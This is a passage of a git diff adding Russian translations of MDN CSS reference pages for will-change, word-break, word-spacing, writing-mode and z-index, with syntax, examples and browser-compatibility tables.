+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.width")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/box_model">Блочная модель</a>, {{cssxref("height")}}, {{cssxref("box-sizing")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}</li>
+</ul>
diff --git a/files/ru/web/css/will-change/index.html b/files/ru/web/css/will-change/index.html
new file mode 100644
index 0000000000..a6b0030a21
--- /dev/null
+++ b/files/ru/web/css/will-change/index.html
@@ -0,0 +1,166 @@
+---
+title: will-change
+slug: Web/CSS/will-change
+translation_of: Web/CSS/will-change
+---
+<p>{{ CSSRef() }}{{SeeCompatTable}}</p>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code style="font-style: normal;">will-change</code> предоставляет автору возможность уведомить браузер об ожидаемом изменении элемента<span class="seoSummary">, таким образом браузер может настроить соответсвующую оптимизацию до того как элемент действительно изменится. Такой тип оптимизации может повысить отзывчивость страницы, совершая, возможно дорогие операции до того как они действительно понадобятся. </span></p>
+
+<pre><code>/* Keyword values */
+will-change: auto;
+will-change: scroll-position;
+will-change: contents;
+will-change: transform;        /* Example of &lt;custom-ident&gt; */
+will-change: opacity;          /* Example of &lt;custom-ident&gt; */
+will-change: left, top;        /* Example of two &lt;animateable-feature&gt; */
+
+/* Global values */
+will-change: inherit;
+will-change: initial;
+will-change: unset;</code></pre>
+
+
+
+<p>Правильно использование этого свойства может быть немного сложнее:</p>
+
+<ul>
+ <li>
+  <p id="Don't_apply_will-change_to_too_many_elements"><em>Не применяйте will-change к большому числу элементов.</em> Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжелые оптимизации ссылающиеся на <code>will-change</code> используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.</p>
+ </li>
+ <li>
+  <p><em>Используйте умеренно.</em> Обычное поведение для оптимизаций которые выполняет браузер, удалить оптимизацию как можно скорее и вернуть нормальное состояние. Но добавление <code>will-change</code> прямо в файле стилей предполагает, что указанный элемент всегда находится в нескольких шагах от изменений и браузер будет сохранять для него оптимизацию гораздо больше времени. Так что, было бы хорошо включать и отключать <code>will-change</code> используя скрипт до и после того как произошли изменения.</p>
+ </li>
+ <li>
+  <p><em>Не применяйте will-change к элементам для выполнения преждевременной оптимизации</em>. Если ваша страница хорошо отрабатывается, не применяйте <code>will-change</code> свойство к элементу только чтобы выжать немного больше скорости. <code>will-change</code> предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Черезмерное использование <code>will-change</code> приведет к излишнему потреблению памяти и вызовет более тяжелый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведет к ухудшению производительности.</p>
+ </li>
+ <li>
+  <p id="Give_it_sufficient_time_to_work"><em>Дайте ему достаточно времени, чтобы работать</em>. Это свойство дает автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.</p>
+ </li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Это ключевое слово не выражает конкретной цели; пользовательский агент должен применяться независимо эвристики и оптимизации как он это обычно делает.</dd>
+</dl>
+
+<p>&lt;Animateable-feature&gt; может иметь одно из следующих значений:</p>
+
+<dl>
+ <dt><code>scroll-position</code></dt>
+ <dd>Указывает, что автор ожидает анимацию или изменение положения скролла элемента в ближайшем будущем.</dd>
+ <dt><code>contents</code></dt>
+ <dd>Указывает, что автор ожидает анимацию или изменение чего то в контенте элемента в ближайшем будущем.</dd>
+ <dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
+ <dd>Указывает, что автор ожидает анимацию или измение свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращенная запись,  тогда оно указывает на все полные записи свойств, на которые указывает сокращенная запись. Это не может быть одним из следующих значений: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, или <code>contents</code>. </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">.sidebar {
+  will-change: transform;
+}
+</pre>
+
+<p>В примере выше прямо в таблицу стилей добавляется свойство <code>will-change</code>, которое заставит браузер держать оптимизацию в памяти намного дольше, чем нужно, а мы уже видели почему следует этого избегать. Ниже приведён ещё один пример, показывающий, как применить свойство <code>will-change</code> с помощью скриптов, что вероятно, вам следует делать в большинстве случаев.</p>
+
+<pre class="brush: js">var el = document.getElementById('element');
+
+// Set will-change when the element is hovered
+el.addEventListener('mouseenter', hintBrowser);
+el.addEventListener('animationEnd', removeHint);
+
+function hintBrowser() {
+  // The optimizable properties that are going to change
+  // in the animation's keyframes block
+  this.style.willChange = 'transform, opacity';
+}
+
+function removeHint() {
+  this.style.willChange = 'auto';
+}</pre>
+
+<p>Однако может быть целесообразно включить will-change в вашу таблицу стилей для приложения, в котором страница переворачивается при нажатии клавиши, например альбом или перезентация, где страницы большие и сложные. Это позволит браузеру заранее подготовить переход и позволит быстро переключаться между страницами, как только будет нажата клавиша.</p>
+
+<pre class="brush: css">.slide {
+  will-change: transform;
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS Will Change', '#will-change', 'will-change') }}</td>
+   <td>{{ Spec2('CSS Will Change') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("css.properties.will-change")}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(36)}}</td>
+   <td>{{CompatGeckoDesktop(36)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(24)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile(36)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В Firefox с 31 до 35 версии свойство <code>will-change</code> было доступно, но только, если пользователь установил значение флага <code style="font-style: normal; line-height: 1.5;">layout.css.will-change.enabled</code> в <code>true</code>. Выбор был удалён в Firefox 43.</p>
+
+<p>Firefox позволяет установить <code>will-change: will-change</code> до версии 42.0, что не соответствует спецификации. Это было исправлено в Firefox 43.0. Смотрите {{bug("1195884")}}.</p>
diff --git a/files/ru/web/css/word-break/index.html b/files/ru/web/css/word-break/index.html
new file mode 100644
index 0000000000..9ce8625ed0
--- /dev/null
+++ b/files/ru/web/css/word-break/index.html
@@ -0,0 +1,136 @@
+---
+title: word-break
+slug: Web/CSS/word-break
+tags:
+  - CSS
+translation_of: Web/CSS/word-break
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/ru/docs/Web/CSS">CSS</a> <strong> <code>word-break</code></strong> определяет, где будет установлен перевод на новую строку в случае превышения текстом границ блока.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-break.html")}}</div>
+
+<p class="hidden">Исходники для интерактивных примеров находятся в репозитории на GitHub. Если вы желаете помочь в улучшении примеров, пожалуйста склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull-реквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения ключевых слов */
+word-break: normal;
+word-break: break-all;
+word-break: keep-all;
+word-break: break-word; /* не включено в стандарт */
+
+/* Глобальные значения */
+word-break: inherit;
+word-break: initial;
+word-break: unset;
+</pre>
+
+<p>Свойство <code>word-break</code> определяется одним из описанных ниже ключевых слов.</p>
+
+<h3 class="brush:css" id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Поведение по умолчанию для расстановки перевода строк.</dd>
+ <dt><code>break-all</code></dt>
+ <dd>При превышении границ блока, перевод строки будет вставлен между любыми двумя символами (за исключением текста на китайском/японском/корейском языке).</dd>
+ <dt><code>keep-all</code></dt>
+ <dd>Перевод строки не будет испольован в тексте на китайском/японском/корейском языке. Для текста на других языках будет применено поведение по умолчанию (<code>normal</code>).</dd>
+ <dt><code>break-word</code> {{Non-standard_Inline}}</dt>
+ <dd>При превышении границ блока, обычно остающиеся целыми слова, могут быть разбиты в произвольном месте, если не будет найдено более подходящее для переноса строки место.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Заметка:</strong> В отличие от <code>word-break: break-word</code> и <code>overflow-wrap: break-word</code> (смотри {{cssxref("overflow-wrap")}}), <code>word-break: break-all</code> вставит перевод строки в том месте, где текст будет превышать занимаемый им блок (даже в том случае, когда текст можно перенести по словам).</p>
+</div>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;1. &lt;code&gt;word-break: normal&lt;/code&gt;&lt;/p&gt;
+&lt;p class="normal narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;2. &lt;code&gt;word-break: break-all&lt;/code&gt;&lt;/p&gt;
+&lt;p class="breakAll narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;3. &lt;code&gt;word-break: keep-all&lt;/code&gt;&lt;/p&gt;
+&lt;p class="keepAll narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;4. &lt;code&gt;word-break: break-word&lt;/code&gt;&lt;/p&gt;
+&lt;p class="breakWord narrow"&gt;This is a long and
+  Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.narrow {
+  padding: 5px;
+  border: 1px solid;
+  display: table;
+  max-width: 100%;
+}
+
+.normal {
+  word-break: normal;
+}
+
+.breakAll {
+  word-break: break-all;
+}
+
+.keepAll {
+  word-break: keep-all;
+}
+
+.breakWord {
+  word-break: break-word;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Примеры', '100%', 600)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#word-break-property', 'word-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости была сформирована из структурированных данных. Если вы хотите уточнить информацию, пожалуйста, склонируйте репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-реквест.</div>
+
+<p>{{Compat("css.properties.word-break")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+</ul>
diff --git a/files/ru/web/css/word-spacing/index.html b/files/ru/web/css/word-spacing/index.html
new file mode 100644
index 0000000000..b2afe4205f
--- /dev/null
+++ b/files/ru/web/css/word-spacing/index.html
@@ -0,0 +1,121 @@
+---
+title: word-spacing
+slug: Web/CSS/word-spacing
+tags:
+  - Текст
+  - форматирование
+translation_of: Web/CSS/word-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>word-spacing</code></strong> устанавливает длину пробела между словами и между тегами.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-spacing.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значение ключевым словом */
+word-spacing: normal;
+
+/* &lt;length&gt; значения */
+word-spacing: 3px;
+word-spacing: 0.3em;
+
+/* &lt;percentage&gt; значения  */
+word-spacing: 50%;
+word-spacing: 200%;
+
+/* Глобальные значения */
+word-spacing: inherit;
+word-spacing: initial;
+word-spacing: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Нормальный интервал между словами, определенный текущим шрифтом и/или браузером.</dd>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>Определяет дополнительный интервал в дополнение к внутреннему интервалу между словами, определяемому шрифтом.</dd>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>Определяет дополнительный интервал как процент от предварительной ширины символа.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="mozdiv1"&gt;Here are many words...&lt;/div&gt;
+&lt;div id="mozdiv2"&gt;...and many more!&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#mozdiv1 {
+  word-spacing: 15px;
+}
+
+#mozdiv2 {
+  word-spacing: 5em;
+} </pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Большое положительное или отрицательное значение <code>word-spacing</code> может сделать предложения, к которым применяется стиль, нечитаемыми.  Для текста, стилизованного с очень большими положительными значениями, слова будут так далеки друг от друга, что он больше не будет казаться предложением. Для текста, стилизованного с очень большими отрицательными значениями, слова будут перекрывать друг от друга до точки, где начало и конец каждого слова будут неразличимы.</p>
+
+<p>Разборчивый <code>word-spacing</code> должен быть определен в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Заменяет предыдущее значение значением <code>&lt;spacing-limit&gt;</code>, которое определяет те же вещи, плюс значение <code>&lt;percentage&gt;</code>. Позволяет использовать до трех значений, описывающих оптимальное, минимальное и максимальное значение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>word-spacing</code> как анимированный.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#propdef-word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.word-spacing")}}</p>
diff --git a/files/ru/web/css/writing-mode/index.html b/files/ru/web/css/writing-mode/index.html
new file mode 100644
index 0000000000..1b828cbce4
--- /dev/null
+++ b/files/ru/web/css/writing-mode/index.html
@@ -0,0 +1,166 @@
+---
+title: writing-mode
+slug: Web/CSS/writing-mode
+translation_of: Web/CSS/writing-mode
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Свойство <strong><code>writing-mode</code></strong> устанавливает горизонтальное или вертикальное положение текста также как и направление блока.</p>
+
+<p>Свойство определяет направление потока блока, в каком направлении складываются контейнеры уровня блока и направление в котором инлайновый контент находится в родительском блоке. Также свойство <code>writing-mode</code> определяет порядок контента блочного уровня.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Keyword values */
+writing-mode: horizontal-tb;
+writing-mode: horizontal-bt;
+writing-mode: vertical-rl;
+writing-mode: vertical-lr;
+
+/* Global values */
+writing-mode: inherit;
+writing-mode: initial;
+writing-mode: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>horizontal-tb</code></dt>
+ <dd>Content flows horizontally from left to right, vertically from top to bottom. The next horizontal line is positioned below the previous line.</dd>
+ <dt><code>horizontal-bt</code></dt>
+ <dd>Content flows horizontally from left to right, vertically from bottom to top. The next horizontal line is positioned above the previous line.</dd>
+ <dt><code>vertical-rl</code></dt>
+ <dd>Content flows vertically from top to bottom, horizontally from right to left. The next vertical line is positioned to the left of the previous line.</dd>
+ <dt><code>vertical-lr</code></dt>
+ <dd>Content flows vertically from top to bottom, horizontally from left to right. The next vertical line is positioned to the right of the previous line.</dd>
+ <dt><code>lr</code> {{deprecated_inline}}</dt>
+ <dd>Deprecated except for SVG1 documents. For CSS, use <code>horizontal-tb</code>.</dd>
+ <dt><code>lr-tb</code> {{deprecated_inline}}</dt>
+ <dd>Deprecated except for SVG1 documents. For CSS, use <code>horizontal-tb</code>.</dd>
+ <dt><code>rl</code> {{deprecated_inline}}</dt>
+ <dd>Deprecated except for SVG1 documents. For CSS, use <code>horizontal-tb</code>.</dd>
+ <dt><code>tb</code> {{deprecated_inline}}</dt>
+ <dd>Deprecated except for SVG1 documents. For CSS, use <code>vertical-rl</code>.</dd>
+ <dt><code>tb-rl</code> {{deprecated_inline}}</dt>
+ <dd>Deprecated except for SVG1 documents. For CSS, use <code>vertical-rl</code>.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">.exampleText {
+  writing-mode: vertical-rl;
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 100, 160)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Writing Modes", "#block-flow", "writing-mode")}}</td>
+   <td>{{Spec2("CSS3 Writing Modes")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop(41)}}<sup>[1]</sup></td>
+   <td>9.0 {{property_prefix("-ms")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}</td>
+   <td>8.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>SVG 1.1 values <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>tb</code>, <code>tb-rl</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.0 {{property_prefix("-ms")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}} <sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>SVG 1.1 values <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>tb</code>, <code>tb-rl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] An experimental implementation was available since Gecko 36. It is governed by the preference <code>layout.css.vertical-text.enabled</code>, defaulting to <code>false</code> until Firefox 38. From Firefox 39 and Firefox 40, the preference was <code>true</code> for Nightly and DevTools editions only. Note that not all CSS widgets (e.g. tables) obey to it, yet.</p>
+
+<p>[2] The implementation in Internet Explorer differs from the specification. See the <a href="https://msdn.microsoft.com/en-us/library/ie/ms531187%28v=vs.85%29.aspx">related article in the Internet Explorer Dev Center</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>SVG <code><a href="/en-US/docs/Web/SVG/Attribute/writing-mode">writing-mode</a></code> attribute</li>
+ <li>{{Cssxref("direction")}}</li>
+ <li>{{Cssxref("unicode-bidi")}}</li>
+</ul>
diff --git a/files/ru/web/css/z-index/index.html b/files/ru/web/css/z-index/index.html
new file mode 100644
index 0000000000..8a40d759fa
--- /dev/null
+++ b/files/ru/web/css/z-index/index.html
@@ -0,0 +1,192 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+tags:
+  - CSS
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Введение">Введение</h2>
+
+<p>Свойство <strong>z-index</strong> определяет положение элемента и нижестоящих элементов по оси z. В случае перекрытия элементов, это значение определяет порядок наложения. В общем случае, элементы с большим z-index перекрывают элементы с меньшим.</p>
+
+<p>Для позиционируемого контейнера свойство <code>z-index</code> определяет:</p>
+
+<ol>
+ <li>порядок наложения в текущем <a href="/ru/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">контексте наложения</a>;</li>
+ <li>создаёт ли контейнер локальный контекст наложения.</li>
+</ol>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css notranslate">/* Значение - ключевое слово */
+z-index: auto;
+
+/* &lt;целочисленные&gt; значения */
+z-index: 0;
+z-index: 3;
+z-index: 289;
+z-index: -1; /* Отрицательные значения понижают приоритет */
+
+/* Глобальные значения */
+z-index: inherit;
+z-index: initial;
+z-index: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Контейнер не будет создавать локального контекста наложения. Уровень контейнера в текущем контексте наложения такой же, как и у родительского.</dd>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Целое число определяет уровень контейнера в текущем контексте наложения. Контейнер также будет создавать локальный контекст наложения, в котором его собственный уровень будет равен <code>0</code>. Это значит, что значения z-index нижестоящих элементов не будут сравниваться с z-индексами элементов вне этого контейнера.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="dashed-box"&gt;Dashed box
+  &lt;span class="gold-box"&gt;Gold box&lt;/span&gt;
+  &lt;span class="green-box"&gt;Green box&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3,11,19] notranslate">.dashed-box {
+  position: relative;
+  z-index: 1;
+  border: dashed;
+  height: 8em;
+  margin-bottom: 1em;
+  margin-top: 2em;
+}
+.gold-box {
+  position: absolute;
+  z-index: 3; /* put .gold-box above .green-box and .dashed-box */
+  background: gold;
+  width: 80%;
+  left: 60px;
+  top: 3em;
+}
+.green-box {
+  position: absolute;
+  z-index: 2; /* put .green-box above .dashed-box */
+  background: lightgreen;
+  width: 20%;
+  left: 65%;
+  top: -25px;
+  height: 7em;
+  opacity: 0.9;
+}
+</pre>
+
+<h3 id="Результат"><strong>Результат</strong></h3>
+
+<p>{{ EmbedLiveSample('Examples', '550', '200', '') }}</p>
+
+<h2 id="Спецфикации">Спецфикации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'animation behavior for z-index')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет свойство <code>z-index</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#z-index', 'z-index')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Отрицательные значения (поведение для CSS2.1, не разрешается в устаревшей спецификации CSS2)</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
